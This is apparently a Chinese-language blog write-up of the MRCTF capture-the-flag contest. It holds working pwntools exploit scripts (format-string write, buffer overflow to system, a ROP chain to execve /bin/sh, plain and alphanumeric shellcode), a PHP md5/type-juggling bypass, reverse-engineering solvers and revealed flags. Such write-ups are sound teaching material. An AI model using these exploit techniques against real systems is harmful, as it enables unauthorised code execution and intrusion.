avatar

mrctf wp

pwn

easy_question

1
2
3
4
5
6
[*] '/Users/carlstar/tools/CTF/mrctf/pwn/easy_question/easy_equation'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

逻辑也很简单,只要 judge 满足运算条件就可以拿到 shell,可以用格式化字符串把值写上去。不过出题人应该忘记关溢出了,直接溢出到 text 段上的 system 也行,judge 拿 z3算一下就好。

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+Fh] [rbp-1h]

memset(&s, 0, 0x400uLL);
fgets(&s, 1023, stdin);
printf(&s, 1023LL);
if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
system("exec /bin/sh");
return 0;
1
2
3
4
5
6
7
8
9
from z3 import *

judge = Int('judge')
solver = Solver()
solver.add(11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198)

if solver.check()==sat:
x = solver.model()
print x

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 0
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_magic = [0x45216,0x4526a,0xf02a4,0xf1147]
#libc_realloc = 0x846c0

#18_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('38.39.244.2', 28073)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')



debug()
judge_addr = 0x60105C
payload = '%' + str(0x2) + 'c%9$lln' + p64(judge_addr)
sl(payload)
irt()

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 0
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_magic = [0x45216,0x4526a,0xf02a4,0xf1147]
#libc_realloc = 0x846c0

#18_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('38.39.244.2', 28073)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')



debug()
sl(cyclic(9) + p64(0x4006D0))
irt()

easy_overflow

过了一个 check 就行了,把特定位置写上字符串。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 0
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_magic = [0x45216,0x4526a,0xf02a4,0xf1147]
#libc_realloc = 0x846c0

#18_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('38.39.244.2', 28075)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')

debug()
flag = 'n0t_r3@11y_f1@g'
payload = cyclic(48) + flag
sl(payload)
irt()

nothing_but_everything

这道题难点就是找到 main 函数和要知道在哪下断点,因为符号表全部去掉了。有一个小 trick 是调用__libc_start_main时,rdi中的参数即为main函数。找到 main 以后就会发现是简单的 rop,题目是静态链接的,发现可以自动生成,那就 ropgadget 一把梭了。

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-70h]

sub_411F60();
sub_411F60();
sub_4494F0(0, ::buf, 0x14uLL);
sub_4494F0(0, &buf, 0x300uLL);
sub_410270((__int64)&buf);
return 0;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
from struct import pack
if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 0
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_magic = [0x45216,0x4526a,0xf02a4,0xf1147]
#libc_realloc = 0x846c0

#18_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('38.39.244.2', 28066)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')



debug()
p = ''
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004494ac) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000449505) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c55) # syscall ; ret

sl('1234')
payload = cyclic(120) + p
#payload = cyclic(128)
sl(payload)
irt()

shellcode

直接写就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 0
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_magic = [0x45216,0x4526a,0xf02a4,0xf1147]
#libc_realloc = 0x846c0

#18_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('38.39.244.2', 28061)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')


shellcode = asm(shellcraft.sh())
sa('magic!\n',(shellcode + '\x90').ljust(0x320,'a'))
irt()

shellcode Revenge

对,这两个 shellcode 都没有办法在 ida 里面 f5,显示的错误 124d call analysis failed。看了一下逻辑,发现在这个地方 call 了一个寄存器,经过调试发现这个寄存器的值就是我们输入的栈地址。直接肉眼看汇编还是有点麻烦,直接 nop 掉就能 f5 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[1032]; // [rsp+0h] [rbp-410h]
int v5; // [rsp+408h] [rbp-8h]
int i; // [rsp+40Ch] [rbp-4h]

write(1, "Show me your magic!\n", 0x14uLL);
v5 = read(0, buf, 0x400uLL);
if ( v5 <= 0 )
return 0;
for ( i = 0; i < v5; ++i )
{
if ( (buf[i] <= 96 || buf[i] > 122) && (buf[i] <= 64 || buf[i] > 90) && (buf[i] <= 47 || buf[i] > 90) )
{
printf("I Can't Read This!");
return 0;
}
}
return 0;
}

看了一下,就是让写一个 printable shellcode,但是不能用特殊字符,之前 pawnable.tw death_note 那个就不能用了,看了一下 GitHub 发现了veritas501大佬写的工具(回头研究一下)https://github.com/veritas501/ae64 。直接生成就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from ae64 import AE64
if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 0
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_magic = [0x45216,0x4526a,0xf02a4,0xf1147]
#libc_realloc = 0x846c0

#18_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('38.39.244.2', 28089)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')

debug()
obj = AE64()
shellcode = obj.encode(asm(shellcraft.sh()),'rax')
sa('magic!\n', shellcode)
irt()

spfa

最短环路问题,add 时可以控制 a1,直接把 a1 写成0 就能读了。

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 __fastcall add(int a1, int a2, int a3)
{
unsigned __int64 v3; // ST18_8

v3 = __readfsqword(0x28u);
to[++w] = a2;
len[w] = a3;
next[w] = head[a1];
head[a1] = w;
return __readfsqword(0x28u) ^ v3;
}
1
add 0 12 1

reverse

Transform

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rdx
char v6[104]; // [rsp+20h] [rbp-70h]
int j; // [rsp+88h] [rbp-8h]
int i; // [rsp+8Ch] [rbp-4h]

sub_402230(argc, argv, envp);
sub_40E640(argc, (__int64)argv, v3, (__int64)"Give me your code:\n");
sub_40E5F0(argc, (__int64)argv, (__int64)v6, (__int64)"%s");
if ( strlen(*(const char **)&argc) != 33 )
{
sub_40E640(argc, (__int64)argv, v4, (__int64)"Wrong!\n");
system(*(const char **)&argc);
exit(argc);
}
for ( i = 0; i <= 32; ++i )
{
byte_414040[i] = v6[dword_40F040[i]];
v4 = i;
byte_414040[i] ^= LOBYTE(dword_40F040[i]);
}
for ( j = 0; j <= 32; ++j )
{
v4 = j;
if ( byte_40F0E0[j] != byte_414040[j] )
{
sub_40E640(argc, (__int64)argv, j, (__int64)"Wrong!\n");
system(*(const char **)&argc);
exit(argc);
}
}
sub_40E640(argc, (__int64)argv, v4, (__int64)"Right!Good Job!\n");
sub_40E640(argc, (__int64)argv, (__int64)v6, (__int64)"Here is your flag: %s\n");
system(*(const char **)&argc);
return 0;
}

一开始没看明白,后面 x64dbg 调了一下发现时简单的索引变换加异或。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
list1 = [0x9,0xa,0xf,0x17,0x7,0x18,0xc,0x6,0x1,0x10,0x3,0x11,0x20,0x1d,0xb,0x1e,0x1b,0x16,0x4,0xd,0x13,0x14,0x15,0x2,0x19,0x5,0x1f,0x8,0x12,0x1a,0x1c,0xe,0x8]

flag = ''

list2 = [0x67, 0x79, 0x7B, 0x7F, 0x75, 0x2B, 0x3C, 0x52, 0x53, 0x79, 0x57, 0x5E, 0x5D, 0x42, 0x7B, 0x2D, 0x2A, 0x66, 0x42, 0x7E, 0x4C, 0x57, 0x79, 0x41, 0x6B, 0x7E, 0x65, 0x3C, 0x5C, 0x45, 0x6F, 0x62, 0x4D]


#print list1.index(0x1)

for i in range(1,33):
flag += chr(i ^ list2[list1.index(i)])

print flag

#MRCTF{Tr4nsp0sltiON_Clph3r_1s_3z}

hello_world_go

Go 语言逆向出来的东西太多了,拿 IDAGolangHelper 恢复一下符号表,找到关键位置下个断点就好了,和国赛的 go 一样,值得说一下的是,如果直接加载脚本会报错(ida pro7.0)。一番查找后发现该一下脚本就能正常识别了,flag 在 rcx寄存器。原文链接:https://blog.csdn.net/qq_21063873/java/article/details/104335240

1
2
3
4
5
下载项目 git clone https://github.com/sibears/IDAGolangHelper
修改文件 GO_Utils/__init__.py,将第16行self.bt_obj = Utils.get_bitness(ida_ida.inf_get_min_ea())替换为self.bt_obj = Utils.get_bitness(idc.BeginEA())
如果仍然不行,继续修改文件 GO_Utils/Gopclntab.py, 在31行while possible_loc != idc.BADADDR:下面增加一行return possible_loc
使用IDA->File->Script File 打开IDAGolangHelper项目中的go_entry.py。
选择Go版本(默认1.2),点击Rename functions

misc

千层套路

多层压缩包,解压的密码是文件名,网上找一个脚本跑出 qr.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os, zipfile

def unzip(filename):
try:
password = filename.split('.')[0]
print(password)
with zipfile.ZipFile(filename,'r') as f:
file2 = f.namelist()[0]
file3 = file2.split('.')[0]+".zip"
f.extract(file2,pwd=password.encode())
os.rename(file2,file3)
unzip(file3)
except:
print("over")
unzip("0683.zip")

然后里面是 像素的坐标,因为是二维码,有40000行,所以 200 的平方刚好是 40000,跑出来扫一下就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#-*- coding:utf-8 -*-
from PIL import Image
import re

x = 200 #x坐标 通过对txt里的行数进行整数分解
y = 200 #y坐标 x*y = 行数

im = Image.new("RGB",(x,y))#创建图片
file = open('qr.zip') #打开rbg值文件

#通过一个个rgb点生成图片
for i in range(0,x):
for j in range(0,y):
line = file.readline()#获取一行
#print type(line)
line = line.replace('(','')
line = line.replace(')','')
#print line
rgb = line.split(",")#分离rgb
im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.save('/Users/carlstar/tools/CTF/mrctf/misc/123.jpg')

ezmisc

改下高度就出来了,老套路了。

CyberPunk

运行提示到了特定时间就会显示 flag,直接调系统时间就好。

web

ez_bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
I put something in F12 for you include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd)) {
if($passwd==1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
} else {
echo "can you think twice??";
}
} else {
echo 'You can not get it !';
}
} else {
die('only one way to get the flag');
}
} else {
echo "You are not a real hacker!";
}
} else {
die('Please input first');
}
}
Please input first
1
第一个 0e 加数组,第二个直接1234567a 就可以绕过了
Author: CarlStar
Link: http://yoursite.com/2020/04/01/mrctf/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment